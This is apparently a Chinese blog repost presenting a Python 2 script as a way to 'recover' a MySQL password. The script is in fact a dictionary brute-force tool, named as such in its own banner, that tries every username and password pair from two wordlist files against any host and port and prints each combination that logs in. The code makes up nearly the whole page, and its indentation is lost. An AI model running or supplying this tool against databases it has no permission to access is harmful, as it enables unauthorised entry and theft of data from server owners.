您的位置:首页 > 编程语言 > Python开发

Python找回MySQL密码

2015-08-29 17:50 579 查看
一个博友写得,可以用来找回密码

# -*- coding: utf_8 -*-
import MySQLdb
import os
import sys
def README():
print '+' + '-' * 50 + '+'
print '\t           Python MySQL爆破'
print '\t            author : sanr'
print '\t           Time:2015-5-13'
print '\t   mysql默认字典在程序目录mysql目录'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 5:
print  os.path.basename(sys.argv[0]) + " host port user.txt pass.txt"
sys.exit()

def    mysql_brute(name,pwd):
db = None
try:
db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2]))
print '破解成功: %s %s'% (name,pwd)
except:
pass
finally    :
if db:
db.close()
if __name__ == '__main__':
README()
userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])]
passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])]
for    name in userlist:
for pwd in passlist:
mysql_brute(name,pwd)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: